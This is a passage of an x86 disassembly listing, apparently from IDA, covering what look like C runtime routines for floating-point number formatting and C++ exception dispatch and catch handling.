		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------

loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax

loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C508
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB310, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------

loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1

loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi

loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h

loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB30C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB314, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB30C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB314, ecx
		setl	cl
		mov	byte_4DB318, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB314, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32

loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al

loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------

loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h

loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB310, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB310, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB310, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB310, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------

loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9

loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi

loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2

loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------

loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------

loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h

loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax

loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6

loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2

loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB31C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB320
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2

loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2

loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax

loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A

loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7

loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8

loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------

loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]

loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------

loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx

loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------

loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB324, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC

loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax

loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4

loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------

loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053

loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053

loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053

loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057

loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------

loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax

loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3

loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2

loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510

loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------

loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h

loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------

loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]

loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E

loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB31C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB320
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB31C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB320, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]

loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------

loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB31C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB320, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------

loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------

loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
